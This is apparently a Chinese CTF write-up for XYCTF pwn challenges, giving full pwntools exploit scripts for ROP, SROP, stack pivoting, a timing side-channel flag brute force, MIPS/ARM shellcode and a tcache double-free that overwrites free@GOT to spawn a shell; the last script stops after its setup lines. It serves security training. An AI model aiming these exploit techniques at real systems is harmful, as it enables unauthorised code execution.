pwn-hello_world(签到)

泄露libc,栈溢出ROP即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('xyctf.top', 33260)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
rl("please input your name: ")
payload = 'a'*0x27+'b'
s(payload)
rl("b")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-128+0xB0-libc.sym['__libc_start_main']
lg("libc_base",libc_base)
system = libc.sym['system'] + libc_base
binsh = libc_base+next(libc.search('/bin/sh\x00'))
ret = libc_base+0x0000000000029139
pop_rdi = libc_base+0x000000000002a3e5
rl("please input your name: ")
payload = 'a'*0x28+p64(ret)+p64(pop_rdi) + p64(binsh) + p64((system))
s(payload)

inter()

pwn-invisible_flag

开启了沙盒,禁用了ORW和execve。虽然ORW都被禁用了,但是思路还是ORW。open可以利用openat代替,rdi覆盖为-100。rsi是地址。read可以利用mmap代替,然后write被禁用,就需要利用到测信道攻击。

image-20240401140919873

侧信道攻击:

侧信道攻击是一种非正常的攻击手段,是一种利用计算机不经意间发出的声音来判断计算机的执行情况,比如通过散热器的响声大小来判断计算机所运行程序的复杂性;通过窃听敲击键盘的声音来及进行破译你所输入的是什么;或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量,来监视你的计算机

侧信道爆破:

pwn题目开启沙箱后,我们通常可以采用open、read、write函数输出flag,但是如果沙箱禁用了write函数,使我们只能利用open和read函数,这时候就要利用侧信道爆破了。侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag,一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
# debug = 1
# if debug:
# p = process('./pwn')
# elf = ELF('./pwn')
# # p = process('', env={'LD_PRELOAD':'./libc.so'})
# # gdb.attach(p)
# else:
# p = remote('xyctf.top', 33260)
# elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
path = '/flag'
hex_path = ''.join([hex(ord(i))[2:] for i in path])
print(hex_path)
#2e2f666c616700
def exp(p,dis,char):
p.recvuntil("show your magic again\n")
shellcode = 'xor rsi,rsi;xor rdx,rdx;mov rbx,0x0067616c662f2e;push rbx;push rsp;pop rsi;mov rdi,-100;mov rax,257;syscall;''mov rdi,0x114515000;mov rsi,0x1000;mov edx,1;mov ecx,1;mov r8d,eax;mov r9d,0;mov rax,0x9;syscall;mov rsi,0x114515000;xor rdx,rdx;xor rcx,rcx;'
shellcode += '''
loop:
cmp byte ptr[rsi+{}], {}
jz loop
ret
'''.format(str(dis),str(char))

p.send(asm(shellcode))

flag = ""
index = 0
last = 'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127)
for ch in range(32,127):
# p = process("./chall")
p = remote('xyctf.top', '38464')
# # 远程比较容易断,可以多次连接

# for i in range(10):
# try:
# p = remote("xyctf.top", "38118")
# break
# except:
# sleep(3)
# continue
exp(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)

image-20240401140905283

爆破时间得十分钟左右。

MISC-TCPL

image-20240401174412579

riscv架构,因为之前玩IOT的时候配了qemu的环境,直接再起一个riscv的docker,再挂载文件目录运行docker,运行文件即可。

1
2
docker pull riscv64/ubuntu:21.04
docker run -it -v /usr/bin/qemu-riscv64-static:/usr/bin/qemu-riscv64-static -v $(pwd):$(pwd) riscv64/ubuntu:21.04 /bin/bash

替换1为0就行

image-20240401174531630

https://blog.csdn.net/v6543210/article/details/122336639环境搭建文章

pwn-guestbook1

image-20240402164815352

没找到溢出点,就利用修改id,将rbp的最低8位修改到backdoor-8处,利用两次函数结束的leave ret,相当于栈迁移,会有概率执行到backdoor。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('xyctf.top',54698)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
rl("index")
sl(str(0x20))
rl("name:\n")
# gdb.attach(p)
sl(p64(0x40132B)*2)
rl("id:\n")
sl(str(0x50))
rl("index")
# gdb.attach(p)
sl(str(-1))

inter()

image-20240402165155161

静态编译的,长溢出,直接利用ROP执行mprotect,然后执行shellcode即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('xyctf.top',50339)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
mprotect_addr = 0x4482C0
read_addr = 0x447580
ret = 0x000000000040101a
start_addr = 0x4C8000
pop_rdi = 0x0000000000401f1f
pop_rsi = 0x0000000000409f8e
pop_rdx = 0x0000000000451322

size = 500
rl("static_link? ret2??")
mprotect_addr = 0x4482C0
payload = 'a'*0x20 + p64(start_addr-0x8) + p64(pop_rdi) + p64(start_addr) +p64(pop_rsi) + p64(size) + p64(pop_rdx) +p64(7) +p64(mprotect_addr) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(start_addr) + p64(pop_rdx) +p64(0x100) + p64(read_addr) + p64(0x40184c)
# gdb.attach(p)
sl(payload)
sleep(0.5)
sl( p64(0x4C8008) +asm(shellcraft.sh()))

inter()

pwn-baby_gift

image-20240402214505943

image-20240402214906389

gift就是一个栈迁移,先利用覆盖ret返回地址到printf处,泄露libc地址,然后栈迁移到bss段,但是bss段的部分地址会导致栈不对齐,所以一直无法getshell。需要调整迁移的bss段地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('xyctf.top',59599)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
bss = elf.bss()
lg("print_got",elf.got['printf'])
rl("name:")
# gdb.attach(p)
s('a'*31)
rl("Your passwd:")
payload = '%3$p'.ljust(0x20,'a')
payload += p64(0x404908) + p64(0x40123E)
sl(payload)
rl("0x")
libc_leak = int(p.recv(12),16)
libc_base = libc_leak-0x12-libc.sym['read']
lg("libc_leak",libc_leak)
lg("libc_base",libc_base)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))
ret = 0x0000000000029139 + libc_base
pop_rdi = libc_base + 0x000000000002a3e5
gets = libc_base + libc.sym['gets']
read = libc_base + libc.sym['read']
fgets = 0x401090
one_gadget = [0x50a47,0xebc81,0xebc85,0xebce2,0xebd3f,0xebd43]

pause()
payload = 'a'
sl(payload)

rl("Your passwd:")
payload = p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(ret) + p64(0x401226) + p64(0x4048e0) + p64(0x4012AD)
pause()
s(payload)
inter()

simple_srop

SROP多次调用的知识。第一次利用栈溢出伪造frame0,触发SROP,并且要设置对应寄存器,如果要多次触发SROP,那么rip要修改为

0x40129d

image-20240410212122857

然后控制好每次的RSP都指向对应的frame即可。利用顺序就是read读取接下来的frame到bss段上,再依次触发ORW即可。主要是调整RSP指向frame即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('192.168.156.33',47626)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
frame=SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = 0x404100
frame.rdx = 0x500
frame.rip = 0x40129D
frame.rsp = 0x404108
print(len(str(frame)))

payload = 'a'*0x28 + p64(0x401296) + str(frame)
gdb.attach(p)
# sleep(5)
sl(payload)

frame=SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = 0x404100
frame.rsi = 0
frame.rip = 0x40129D
frame.rsp = 0x404100+256+8

frame1=SigreturnFrame()
frame1.rax = constants.SYS_read
frame1.rdi = 3
frame1.rsi = 0x404700
frame1.rdx = 0x50
frame1.rip = 0x40129D
frame1.rsp = 0x404100+256+248+16

frame2=SigreturnFrame()
frame2.rax = constants.SYS_write
frame2.rdi = 1
frame2.rsi = 0x404700
frame2.rdx = 0x50
frame2.rip = 0x40129D
frame2.rsp = 0x404100+256+248

payload = '/flag\x00\x00\x00' + p64(0x401296)+ str(frame) + p64(0x401296)+str(frame1) +p64(0x401296)+ str(frame2)
sleep(3)
sl(payload)

inter()

EZ1.0?

mips32位架构,而且是静态编译的。未开启保护,并且根据题目提示是打shellcode的。

利用IDA_python寻找mips的gadget。mips寄存器的前四个参数是由a0,a1,a2,a3。剩余参数存在栈中。调试的时候观察栈中的内容,利用gadget控制RSP位置,然后将可以进行跳转的栈指针保存到ra中,再直接跳转过去通过nop滑块执行shellcode。因为qemu调试的时候,自动关闭ALSR,但是打远程需要考虑ALSR,可能有时候位置不到,跳转过去无法执行shellcode,多尝试几次就行了

1
2
3
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
mipsrop.find('addiu $sp,0x40')

image-20240410213808800

找到gadget后就类似于x86下的ret2shellcode。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
# p = process(["qemu-mipsel", "-g", "1234", "./pwn"])
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('192.168.156.33',10750)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------

shellcode1 = asm(shellcraft.mips.linux.sh())
shellcode2 = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"
print(len(shellcode2))
rl("welcome XYCTF mips world")
payload = shellcode2.rjust(0x44,'\x00')
payload += p32(0x004071C0) + 'a'*(0x3c)
payload += '\x00'
s(payload)
'''
.text:004071C0 3C 00 BF 8F lw $ra, 0x1C+var_s20($sp)
.text:004071C0
.text:004071C4
.text:004071C4 loc_4071C4: # CODE XREF: getenv+9C↑j
.text:004071C4 # getenv+128↓j
.text:004071C4 # getenv+134↓j
.text:004071C4 25 10 00 02 move $v0, $s0
.text:004071C8 38 00 B7 8F lw $s7, 0x1C+var_s1C($sp)
.text:004071CC 34 00 B6 8F lw $s6, 0x1C+var_s18($sp)
.text:004071D0 30 00 B5 8F lw $s5, 0x1C+var_s14($sp)
.text:004071D4 2C 00 B4 8F lw $s4, 0x1C+var_s10($sp)
.text:004071D8 28 00 B3 8F lw $s3, 0x1C+var_sC($sp)
.text:004071DC 24 00 B2 8F lw $s2, 0x1C+var_s8($sp)
.text:004071E0 20 00 B1 8F lw $s1, 0x1C+var_s4($sp)
.text:004071E4 1C 00 B0 8F lw $s0, 0x1C+var_s0($sp)
.text:004071E8 08 00 E0 03 jr $ra
'''

inter()

EZ2.0?

arm的程序,也是静态编译,利用ida查找字符串发现有’/bin/sh\x00’,可以利用ret2syscall。通过利用gadget片段控制寄存器达到执行execve(‘/bin/sh\x00’,0,0)系统调用。

arm的前四个参数由r0,r1,r2,r3控制,如果要触发系统调用,还需要控制r7保存系统调用号,通过svc 0触发系统调用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
# p = process(["qemu-arm", "-g", "1234", "./pwn"])
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228',58217)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
rl("welcome XYCTF arm world\n")
mprotect = 0x28F10
print(hex(elf.bss()))
#0x000110dc : pop {r4, r5, r6, r7, r8, pc}
#0x00011240 : pop {r4, r5, r6, pc}
#0x000104e0 : pop {r4, pc}
#0x0005f73c : pop {r0, pc}
#0x0005f824 : pop {r1, pc}
#0x00027d78 : pop {r7, pc}
#0x0004dd04: mov r2, #0; mov r0, r2; pop {r4, r5, r6, pc};
#text:0001088C 00 00 00 EF SVC 0
binsh = 0x0008A090
payload = '\x00'*68 + p32(0x0004dd04) + p32(0)*3 + p32(0x0005f73c) + p32(0x0008A090) + p32(0x0005f824) + p32(0) + p32(0x00027d78) + p32(11) + p32(0x0001088C)
s(payload)

inter()

找到gadget,然后控制对应寄存器内容,执行系统调用即可。

ptmalloc2 it’s myheap

libc-2.36版本的菜单堆,由于2.35之后没有了malloc_hook,free_hook以及exit_hook等。所以一般的打法都是申请到栈地址控制ROP或者打IO。

这道题直接给了libc,所以不用去泄露地址。

malloc状态下的chunk

image-20240410225952001

image-20240410230025046

free状态下的chunk

image-20240410230131146

image-20240410230212643

image-20240410230306237

如果再次申请,那么data_chunk就是原本的管理chunk,只需要修改0为1,然后再修改保存的指针,就能够利用show(0)来泄露heap_addr和heap_key。

那么此时libc和heap的地址都泄露,应该想想如何才能申请到劫持程序流程的部分。

最开始想到劫持栈的返回地址,虽然可以劫持,但是只有0x18,不能够布置完整的ROP链,并且one_gadget也全部失效。由于没开启FULL_RELRO,所以可以修改got表。那么就通过tcachebin_attack申请到got表,修改free_got处free的真实地址为system,然后就能getshell了。

所以现在需要构造能任意写的链子。

可以像泄露堆地址那样,通过修改管理chunk保存的指针为已经被释放过的chunk,然后再次释放就会造成double_free。

image-20240410231238901

构造成这样的结构,然后此时申请一个fastbins,就会将剩余的fastbin放进tcachebin中,就能利用tcachebin_attack申请任意处地址了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228',32496)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(">>> ")
sl('1')
rl("please input chunk_idx: ")
sl(str(index))
rl("Enter chunk size: ")
sl(str(size))
rl("Enter chunk data: ")
s(data)
def show(index):
rl(">>> ")
sl('3')
rl("Enter chunk id: ")
sl(str(index))
def delete(index):
rl(">>> ")
sl('2')
rl("Enter chunk id: ")
sl(str(index))
def exit():
rl(">>> ")
sl('4')
def gift():
rl(">>> ")
sl('114514')
gdb.attach(p)
gift()
rl("0x")
printf_addr = int(p.recv(12),16)
libc_base = printf_addr-libc.sym['puts']
lg("libc_base",libc_base)

add(0,0x10,'/bin/sh\x00')
delete(0)
add(1,0x18,p64(0x20)+p64(1))
show(0)
rl("\x01\x00\x00\x00\x00\x00\x00\x00")
heap_leak = u32(p.recv(4).ljust(4,'\x00'))
lg("heap_leak",heap_leak)
heap_key = heap_leak >> 12
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_key",heap_key)

environ = libc_base + libc.sym['environ']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))

add(2,0x10,'/bin/sh\x00')
delete(2)
add(3,0x18,p64(0x20)+p64(1)+p64(environ))
show(2)
stack_leak = l64()
lg("stack_leak",stack_leak)

add(4,0x10,'/bin/sh\x00')
delete(4)
add(5,0x18,p64(0x18)+p64(1)+p64(heap_base+0x2a0))

for i in range(7):
add(i+6,0x40,'/bin/sh\x00')
for i in range(7):
delete(i+6)

delete(0)
delete(4)
for i in range(6):
add(i+6,0x40,'/bin/sh\x00')
free_got = elf.got['free']
pause()
add(12,0x18,p64(heap_key^(free_got-8)))
add(13,0x40,'/bin/sh\x00')
one_gadget = [0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
add(14,0x18,p64(system)*2)
delete(4)
inter()

Intermittent

会让输入shellcode,但是只截取三个四字节部分

image-20240410231856005

这些’\x00’部分会被解释为add byte ptr [rax], al

所以为了不报错,需要将rax赋值为一个合理的地址,然后构造一个read系统调用,读取shellcode到0x114514000地址处执行。

最开始通过一堆pop指令来对寄存器进行赋值,但是由于太依赖本地环境,只能一直打通本地,最后查询,了解到了xchg指令,是交换两个寄存器的内容。所以可以利用这个指令构造read系统调用,不会依赖栈的内容。可以打通

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228',22389)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
#gdb.attach(p)
# sleep(1)
rl("show your magic: ")
# s(asm('pop rbx;pop rbx;pop rax;pop rbx')+asm('mov rsi,rdx;pop rdx')+asm('pop rbx;pop rax;syscall'))
s(asm('xchg rax,rdx;nop;nop')+asm('mov rsi,rax;nop')+asm('xchg rax,rdx;syscall'))
pause()
# orw = shellcraft.open('/flag') + shellcraft.read(3,0x114514300,0x50) + shellcraft.write(1,0x114514300,0x50)
shellcode = '''
xor rsi,rsi
xor rdx,rdx
mov rdi,0x114514000
mov ax,59
syscall
'''
payload = '/bin/sh\x00'+'\x00'*(0x24-8) + asm(shellcode)
# payload = '\x00'*0x24+asm(orw)
s(payload)
inter()

fmt

泄露了Libc,然后scanf有一次地址任意写的机会,最开始一直局限在想修改栈返回地址,但是栈地址无法泄露,只能修改到随机地址处,想过爆破,但是概率是1/4096,爆破时间太久,就换了思路,注意到程序结束后执行了exit函数,并且是在libc-2.31-0.9.7版本下,此时还有exit_hook的利用方法,只要修改了_dl_rtld_lock_recursive_dl_rtld_unlock_recursive函数指针为system地址,就可以利用system,由于给了后门,所以直接修改为后门函数地址就行。

image-20240410233527299

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
